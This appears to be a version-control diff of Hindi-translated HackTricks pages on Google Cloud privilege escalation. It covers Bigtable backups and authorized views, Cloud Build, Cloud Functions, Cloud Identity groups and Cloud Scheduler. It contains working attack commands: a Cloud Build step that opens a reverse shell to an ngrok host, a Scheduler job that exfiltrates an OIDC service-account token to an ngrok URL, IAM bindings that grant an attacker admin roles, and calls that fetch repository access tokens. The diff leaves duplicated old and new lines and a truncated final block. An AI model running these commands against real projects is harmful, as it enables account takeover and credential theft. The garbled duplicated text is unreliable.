Backups को आप नियंत्रित करने वाले **किसी भी प्रोजेक्ट के किसी भी instance** में पुनर्स्थापित किया जा सकता है। पहले अपनी पहचान को backup तक पहुँच दें, फिर उसे ऐसे sandbox में restore करें जहाँ आपके पास Admin/Owner roles हों।
|
||||
बैकअप्स को आपके नियंत्रण वाले **any instance in any project** में पुनर्स्थापित किया जा सकता है। पहले अपनी identity को बैकअप तक पहुँच दें, फिर इसे ऐसे sandbox में restore करें जहाँ आपके पास Admin/Owner भूमिकाएँ हों।
|
||||
|
||||
यदि आपके पास अनुमति `bigtable.backups.setIamPolicy` है, तो आप खुद को अनुमति `bigtable.backups.restore` दे सकते हैं ताकि पुराने बैकअप्स को restore करके संवेदनशील जानकारी तक पहुँचने की कोशिश की जा सके।
|
||||
यदि आपके पास अनुमति `bigtable.backups.setIamPolicy` है, तो आप अपने आप को अनुमति `bigtable.backups.restore` दे सकते हैं ताकि पुराने बैकअप्स पुनर्स्थापित करके संवेदनशील जानकारी तक पहुँचने की कोशिश की जा सके।
|
||||
|
||||
<details><summary>बैकअप स्नैपशॉट का स्वामित्व लें</summary>
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
@@ -53,13 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
यह अनुमति मिलने के बाद [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) देखें कि कोई बैकअप कैसे पुनर्स्थापित किया जाए।
|
||||
</details>
|
||||
|
||||
### Update authorized view
|
||||
इस अनुमति के मिलने के बाद [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) में देखें कि बैकअप कैसे रिस्टोर किया जाता है।
|
||||
|
||||
|
||||
### Authorized view अपडेट करें
|
||||
|
||||
**अनुमतियाँ:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views rows/columns को redact करने के लिए होते हैं। इन्हें संशोधित या हटाने से **वे सूक्ष्म-स्तरीय सुरक्षा-नियंत्रण हट जाते हैं** जिन पर सुरक्षा दल निर्भर करते हैं।
|
||||
Authorized Views rows/columns को redact करने के लिए होते हैं। इन्हें बदलने या हटाने से वे सूक्ष्म-स्तरीय सुरक्षा प्रतिबंध हट जाते हैं जिन पर defenders निर्भर करते हैं।
|
||||
|
||||
<details><summary>Authorized view अपडेट करके एक्सेस बढ़ाएँ</summary>
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
@@ -84,13 +99,17 @@ EOF
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
इस permission के बारे में और Authorized View से कैसे पढ़ा जाता है यह जानने के लिए [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) देखें।
|
||||
</details>
|
||||
|
||||
इस अनुमति को प्राप्त करने के बाद [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) में देखें कि कैसे एक authorized view से पढ़ा जाता है।
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
**अनुमतियाँ:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
इस permission वाले attacker स्वयं को एक Authorized View तक पहुँच दे सकते हैं, जिसमें ऐसा संवेदनशील डेटा हो सकता है जिसका उन्हें अन्यथा एक्सेस नहीं होता।
|
||||
इस permission वाले attacker अपने आप को एक Authorized View तक पहुँच दे सकते हैं, जो संवेदनशील डेटा रख सकता है और जिसके लिए उनके पास अन्यथा पहुँच नहीं होगी।
|
||||
|
||||
<details><summary>अपने आप को authorized view तक पहुँच दें</summary>
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
@@ -98,8 +117,9 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
इस permission check को [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) में करने के बाद देखें कि authorized view से कैसे पढ़ना है।
|
||||
</details>
|
||||
|
||||
इस अनुमति जांच के बाद [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) में देखें कि किसी authorized view से कैसे पढ़ना है।
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+4
@@ -14,6 +14,8 @@
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
<details><summary>OAuth ब्रांड और क्लाइंट बनाएं</summary>
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+31
-11
@@ -12,12 +12,14 @@ Cloud Build के बारे में अधिक जानकारी क
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से cloudbuild सेवा खाते का एक टोकन** होगा: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`। हालाँकि, आप क्लाउडबिल्ड कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते** को **संकेतित** कर सकते हैं।\
|
||||
इसलिए, आप बस मशीन को अपने सर्वर पर टोकन को एक्सफिल्ट्रेट करने के लिए कह सकते हैं या **इसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और खुद को टोकन प्राप्त कर सकते हैं** (टोकन वाला फ़ाइल बदल सकता है)।
|
||||
इस अनुमति के साथ आप एक Cloud Build सबमिट कर सकते हैं। cloudbuild मशीन की फ़ाइल सिस्टम में डिफ़ॉल्ट रूप से cloudbuild Service Account का token होगा: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`। हालाँकि, आप cloudbuild configuration में प्रोजेक्ट के अंदर किसी भी service account को इंगित कर सकते हैं।\
|
||||
इसलिए, आप बस मशीन से token को अपने सर्वर पर exfiltrate करवा सकते हैं या उसके अंदर reverse shell लेकर खुद token प्राप्त कर सकते हैं (टोकन वाला फ़ाइल बदल सकती है)।
|
||||
|
||||
#### gcloud CLI के माध्यम से सीधे शोषण
|
||||
#### Direct exploitation via gcloud CLI
|
||||
|
||||
1- `cloudbuild.yaml` बनाएं और अपने लिस्नर डेटा के साथ संशोधित करें
|
||||
1- `cloudbuild.yaml` बनाएं और इसे अपने listener data के साथ संशोधित करें
|
||||
|
||||
<details><summary>Cloud Build YAML configuration for reverse shell</summary>
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
@@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- बिना स्रोत के एक सरल निर्माण अपलोड करें, yaml फ़ाइल और निर्माण पर उपयोग करने के लिए SA निर्दिष्ट करें:
|
||||
</details>
|
||||
|
||||
2- स्रोत के बिना एक सरल build अपलोड करें, yaml फ़ाइल दें और build पर उपयोग करने के लिए SA निर्दिष्ट करें:
|
||||
|
||||
<details><summary>निर्दिष्ट service account के साथ Cloud Build सबमिट करें</summary>
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Using python gcloud library
|
||||
आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहां GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा है, वह मेरे लिए काम नहीं किया)। इसलिए, [**यहां एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, एक्सप्लॉइट और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और एक पायथन स्क्रिप्ट जो क्लाउडबिल्ड मशीन के अंदर एक रिवर्स शेल प्राप्त करती है और [**इसे यहां चुराती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप अन्य सेवा खातों को निर्दिष्ट करने का तरीका पा सकते हैं)**।**
|
||||
</details>
|
||||
|
||||
अधिक गहन व्याख्या के लिए, जाएं [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
#### python gcloud library का उपयोग
|
||||
You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (code में आप देख सकते हैं कि अन्य service accounts कैसे निर्दिष्ट किए जाते हैं)**.**
|
||||
|
||||
अधिक गहन व्याख्या के लिए, देखें [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
इस अनुमति के साथ उपयोगकर्ता **रीड एक्सेस टोकन** प्राप्त कर सकता है जिसका उपयोग रिपॉजिटरी तक पहुंचने के लिए किया जाता है:
|
||||
इस permission के साथ user repository तक पहुँचने के लिए उपयोग किए जाने वाले **read access token** प्राप्त कर सकता है:
|
||||
|
||||
<details><summary>repository के लिए read access token प्राप्त करें</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -47,9 +57,13 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
इस अनुमति के साथ, उपयोगकर्ता **पढ़ने और लिखने की पहुँच टोकन** प्राप्त कर सकता है जिसका उपयोग भंडार तक पहुँचने के लिए किया जाता है:
|
||||
इस अनुमति के साथ उपयोगकर्ता रिपॉज़िटरी तक पहुँचने के लिए उपयोग किए जाने वाले **read and write access token** को प्राप्त कर सकता है:
|
||||
|
||||
<details><summary>रिपॉज़िटरी के लिए read and write access token प्राप्त करें</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -57,12 +71,18 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
इस अनुमति के साथ आप **उन रिपोजिटरीज़ को प्राप्त कर सकते हैं जिन तक कनेक्शन की पहुँच है:**
|
||||
इस अनुमति के साथ आप **उन repos को प्राप्त कर सकते हैं जिन तक connection की पहुँच है:**
|
||||
|
||||
<details><summary>लिंक करने योग्य repos प्राप्त करें</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+28
-20
@@ -12,19 +12,21 @@ Cloud Functions के बारे में अधिक जानकारी
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
इन विशेषाधिकारों के साथ एक हमलावर **मनमाने (दुष्ट) कोड के साथ एक नया Cloud Function बना सकता है और इसे एक Service Account सौंप सकता है**। फिर, विशेषाधिकारों को बढ़ाने के लिए मेटाडेटा से Service Account टोकन लीक करें।\
|
||||
फंक्शन को ट्रिगर करने के लिए कुछ विशेषाधिकारों की आवश्यकता हो सकती है।
|
||||
इन privileges के साथ एक attacker **arbitrary (malicious) code के साथ नया Cloud Function बना सकता है और उसे एक Service Account असाइन कर सकता है**। फिर metadata से Service Account token को leak करके उस पर privileges escalate किया जा सकता है.\
|
||||
Function को trigger करने के लिए कुछ privileges की आवश्यकता हो सकती है।
|
||||
|
||||
इस विधि के लिए शोषण स्क्रिप्ट [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) और [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) मिल सकती हैं और प्रीबिल्ट .zip फ़ाइल [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions) मिल सकती है।
|
||||
Exploit scripts इस method के लिए यहाँ पाए जा सकते हैं [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) और [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) और prebuilt .zip file यहाँ मिल सकती है [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
इन विशेषाधिकारों के साथ एक हमलावर **एक Function के कोड को संशोधित कर सकता है और यहां तक कि संलग्न सेवा खाते को भी संशोधित कर सकता है** जिसका लक्ष्य टोकन को एक्सफिल्ट्रेट करना है।
|
||||
इन privileges के साथ एक attacker **किसी Function के code को modify कर सकता है और यहां तक कि जोड़कर दिए गए service account को भी बदल सकता है** ताकि token को exfiltrate किया जा सके।
|
||||
|
||||
> [!CAUTION]
|
||||
> Cloud functions को तैनात करने के लिए आपको डिफ़ॉल्ट कंप्यूट सेवा खाते या उस सेवा खाते पर actAs अनुमतियों की भी आवश्यकता होगी जिसका उपयोग छवि बनाने के लिए किया जाता है।
|
||||
> cloud functions deploy करने के लिये आपको default compute service account या उस service account पर actAs permissions की भी आवश्यकता होगी जो image build करने के लिए उपयोग होती है।
|
||||
|
||||
कुछ अतिरिक्त विशेषाधिकार जैसे कि संस्करण 1 cloudfunctions के लिए `.call` अनुमति या फंक्शन को ट्रिगर करने के लिए `role/run.invoker` भूमिका की आवश्यकता हो सकती है।
|
||||
कुछ अतिरिक्त privileges जैसे version 1 cloudfunctions के लिए `.call` permission या function को trigger करने के लिए role `role/run.invoker` की आवश्यकता हो सकती है।
|
||||
|
||||
<details><summary>Cloud Function को malicious code से अपडेट करें ताकि Service Account token को exfiltrate किया जा सके</summary>
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> यदि आपको त्रुटि `Permission 'run.services.setIamPolicy' denied on resource...` मिलती है, तो इसका कारण यह है कि आप `--allow-unauthenticated` पैरामीटर का उपयोग कर रहे हैं और आपके पास इसके लिए पर्याप्त अनुमतियाँ नहीं हैं।
|
||||
</details>
|
||||
|
||||
इस विधि के लिए एक्सप्लॉइट स्क्रिप्ट [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py) मिल सकती है।
|
||||
> [!CAUTION]
|
||||
> यदि आपको त्रुटि `Permission 'run.services.setIamPolicy' denied on resource...` मिलती है तो इसका कारण यह है कि आप `--allow-unauthenticated` पैरामीटर का उपयोग कर रहे हैं और आपके पास इसके लिए पर्याप्त अनुमतियाँ नहीं हैं।
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
इस अनुमति के साथ आप एक **साइन किया हुआ URL प्राप्त कर सकते हैं जिससे आप एक फ़ाइल को एक फ़ंक्शन बकेट में अपलोड कर सकें (लेकिन फ़ंक्शन का कोड नहीं बदलेगा, आपको इसे अभी भी अपडेट करना होगा)**
|
||||
इस अनुमति के साथ आप एक **signed URL** प्राप्त कर सकते हैं जिससे आप function bucket में फ़ाइल अपलोड कर सकेंगे (लेकिन function के कोड में परिवर्तन नहीं होगा, आपको इसे अभी भी अपडेट करना होगा)
|
||||
|
||||
<details><summary>Cloud Function के लिए signed upload URL जनरेट करें</summary>
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -69,36 +75,38 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
मुझे नहीं पता कि हमलावर के दृष्टिकोण से केवल यह अनुमति कितनी उपयोगी है, लेकिन जानना अच्छा है।
|
||||
</details>
|
||||
|
||||
मुझे ठीक से यकीन नहीं है कि केवल यह permission एक हमलावर के दृष्टिकोण से कितना उपयोगी है, लेकिन यह जानना अच्छा है।
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
अपने आप को किसी भी पिछले **`.update`** या **`.create`** विशेषाधिकार दें ताकि आप बढ़ा सकें।
|
||||
अपने आप को किसी भी पहले बताए गए **`.update`** या **`.create`** privileges दे कर escalate करें।
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
केवल **`cloudfunctions`** अनुमतियों के साथ, बिना **`iam.serviceAccounts.actAs`** के आप **फंक्शन को अपडेट नहीं कर पाएंगे, इसलिए यह एक मान्य प्रिवेस्क नहीं है।**
|
||||
केवल **`cloudfunctions`** permissions होने पर, बिना **`iam.serviceAccounts.actAs`** के आप फ़ंक्शन को update नहीं कर पाएँगे, इसलिए यह VALID PRIVESC नहीं है।
|
||||
|
||||
### बकेट पर पढ़ने और लिखने की पहुंच
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
यदि आपके पास बकेट पर पढ़ने और लिखने की पहुंच है, तो आप कोड में परिवर्तनों की निगरानी कर सकते हैं और जब भी **बकेट में अपडेट होता है, आप अपने कोड के साथ नए कोड को अपडेट कर सकते हैं** ताकि क्लाउड फ़ंक्शन का नया संस्करण प्रस्तुत किए गए बैकडोर कोड के साथ चल सके।
|
||||
यदि आपके पास बकेट पर read और write एक्सेस है, तो आप कोड में परिवर्तन मॉनिटर कर सकते हैं और जब भी बकेट में कोई **update** होता है आप नए कोड को अपने कोड से बदल सकते हैं ताकि Cloud Function का नया वर्शन सबमिट किए गए backdoored code के साथ चलें।
|
||||
|
||||
आप हमले के बारे में अधिक जानकारी देख सकते हैं:
|
||||
आप इस हमले के बारे में और देख सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
हालांकि, आप इसका उपयोग तीसरे पक्ष के क्लाउड फ़ंक्शंस को पूर्व-समझौता करने के लिए नहीं कर सकते क्योंकि यदि आप अपने खाते में बकेट बनाते हैं और इसे सार्वजनिक अनुमतियाँ देते हैं ताकि बाहरी प्रोजेक्ट इसके ऊपर लिख सके, तो आपको निम्नलिखित त्रुटि मिलती है:
|
||||
हालाँकि, आप इसे तीसरे पक्ष के Cloud Functions को पहले से compromise करने के लिए उपयोग नहीं कर सकते क्योंकि यदि आप अपने अकाउंट में बकेट बनाते हैं और उसे public permissions दे देते हैं ताकि external project उस पर लिख सके, तो आपको निम्नलिखित error मिलता है:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> हालाँकि, इसका उपयोग DoS हमलों के लिए किया जा सकता है।
|
||||
> हालाँकि, इसे DoS attacks के लिए इस्तेमाल किया जा सकता है।
|
||||
|
||||
### आर्टिफैक्ट रजिस्ट्री पर पढ़ने और लिखने की पहुंच
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
जब एक क्लाउड फ़ंक्शन बनाया जाता है, तो एक नया डॉकर इमेज प्रोजेक्ट के आर्टिफैक्ट रजिस्ट्री में पुश किया जाता है। मैंने एक नए इमेज के साथ इमेज को संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और `cache` इमेज) को भी हटाने की कोशिश की और कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद यह **बकेट के साथ रेस कंडीशन हमले का दुरुपयोग करना संभव हो सकता है** ताकि डॉकर कंटेनर को बदला जा सके जो चलाया जाएगा लेकिन **संग्रहित इमेज को केवल संशोधित करना क्लाउड फ़ंक्शन को समझौता करने के लिए संभव नहीं है।**
|
||||
जब कोई Cloud Function बनता है तो एक नया docker image प्रोजेक्ट के Artifact Registry में push होता है। मैंने image को नए एक से बदलने की कोशिश की, और वर्तमान image (और `cache` image) को डिलीट भी किया, लेकिन कुछ भी नहीं बदला, cloud function काम करना जारी रहा। इसलिए, संभवतः बकेट की तरह docker container बदलने के लिए **Race Condition attack** का दुरुपयोग संभव हो सकता है, लेकिन **केवल स्टोर की गई image को modify करने से Cloud Function को compromise करना संभव नहीं है**।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
+13
-5
@@ -4,22 +4,28 @@
|
||||
|
||||
## Cloudidentity
|
||||
|
||||
cloudidentity सेवा के बारे में अधिक जानकारी के लिए, इस पृष्ठ की जांच करें:
|
||||
cloudidentity service के बारे में अधिक जानकारी के लिए, इस पेज को देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Add yourself to a group
|
||||
### अपने आप को एक समूह में जोड़ें
|
||||
|
||||
यदि आपके उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं या समूह गलत तरीके से कॉन्फ़िगर किया गया है, तो वह खुद को एक नए समूह का सदस्य बना सकता है:
|
||||
यदि आपका user पर्याप्त permissions रखता है या समूह गलत तरीके से कॉन्फ़िगर हुआ है, तो वह खुद को एक नए समूह का सदस्य बना सकता है:
|
||||
|
||||
<details><summary>Cloud Identity समूह में खुद को जोड़ें</summary>
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
### समूह सदस्यता में परिवर्तन करें
|
||||
</details>
|
||||
|
||||
यदि आपके उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं या समूह गलत तरीके से कॉन्फ़िगर किया गया है, तो वह एक समूह का OWNER बना सकता है, जिसका वह सदस्य है:
|
||||
### समूह सदस्यता बदलें
|
||||
|
||||
यदि आपके उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं या समूह गलत कॉन्फ़िगर किया गया है, तो वह उस समूह का OWNER बना सकता है जिसका वह सदस्य है:
|
||||
|
||||
<details><summary>OWNER बनने के लिए समूह सदस्यता बदलें</summary>
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+25
-9
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Scheduler
|
||||
|
||||
अधिक जानकारी के लिए:
|
||||
अधिक जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-scheduler-enum.md
|
||||
@@ -12,33 +12,47 @@
|
||||
|
||||
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
इन अनुमतियों के साथ एक हमलावर **Cloud Scheduler** का उपयोग करके **एक विशिष्ट सेवा खाते के रूप में क्रॉन नौकरियों को प्रमाणित** कर सकता है। एक HTTP POST अनुरोध तैयार करके, हमलावर क्रियाएँ निर्धारित करता है, जैसे कि एक स्टोरेज बकेट बनाना, जो सेवा खाते की पहचान के तहत निष्पादित होता है। यह विधि **Scheduler की क्षमता का लाभ उठाती है `*.googleapis.com` एंडपॉइंट्स को लक्षित करने और अनुरोधों को प्रमाणित करने** के लिए, जिससे हमलावर को सीधे एक सरल `gcloud` कमांड का उपयोग करके Google API एंडपॉइंट्स में हेरफेर करने की अनुमति मिलती है।
|
||||
इन अनुमतियों वाले हमलावर **Cloud Scheduler** का उपयोग करके किसी विशिष्ट Service Account के रूप में cron jobs को **authenticate** कर सकते हैं। एक HTTP POST अनुरोध बनाकर, हमलावर ऐसे कार्य शेड्यूल कर सकता है, जैसे कि एक Storage bucket बनाना, ताकि वे Service Account की पहचान के तहत निष्पादित हों। यह तरीका **Scheduler की `*.googleapis.com` endpoints को लक्षित करने और अनुरोधों को authenticate करने की क्षमता** का लाभ उठाता है, जिससे हमलावर सीधे Google API endpoints को एक सरल `gcloud` कमांड का उपयोग करके manipulate कर सके।
|
||||
|
||||
- **OAuth टोकन हेडर के साथ `googleapis.com` के माध्यम से किसी भी गूगल API से संपर्क करें**
|
||||
- **Contact any google API via`googleapis.com` with OAuth token header**
|
||||
|
||||
एक नया स्टोरेज बकेट बनाएं:
|
||||
एक नया Storage bucket बनाएं:
|
||||
|
||||
<details><summary>API के माध्यम से GCS bucket बनाने के लिए Cloud Scheduler job बनाना</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
प्रिविलेज़ बढ़ाने के लिए, एक **हमलावर केवल लक्षित API के लिए एक HTTP अनुरोध तैयार करता है, निर्दिष्ट सेवा खाते का अनुकरण करते हुए**
|
||||
</details>
|
||||
|
||||
- **OIDC सेवा खाता टोकन निकालें**
|
||||
privileges बढ़ाने के लिए, एक **attacker केवल लक्षित API के लिए HTTP अनुरोध बनाकर निर्दिष्ट Service Account के रूप में impersonate करता है**
|
||||
|
||||
- **OIDC service account token को exfiltrate करें**
|
||||
|
||||
<details><summary>OIDC token exfiltrate करने के लिए Cloud Scheduler job बनाएँ</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
यदि आपको HTTP प्रतिक्रिया की जांच करने की आवश्यकता है, तो आप बस **कार्यवाही के लॉग पर एक नज़र डाल सकते हैं**।
|
||||
</details>
|
||||
|
||||
यदि आपको HTTP response की जांच करनी हो तो आप बस t**ake a look at the logs of the execution** कर सकते हैं।
|
||||
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
पिछले परिदृश्य की तरह, यह संभव है **पहले से बनाए गए शेड्यूलर को अपडेट करना** ताकि टोकन चुराया जा सके या क्रियाएँ की जा सकें। उदाहरण के लिए:
|
||||
पिछले scenario की तरह, यह संभव है कि आप किसी पहले से बने scheduler को **update an already created scheduler** करके token चुरा सकें या actions कर सकें। उदाहरण के लिए:
|
||||
|
||||
<details><summary>Update existing Cloud Scheduler job to exfiltrate OIDC token</summary>
|
||||
```bash
|
||||
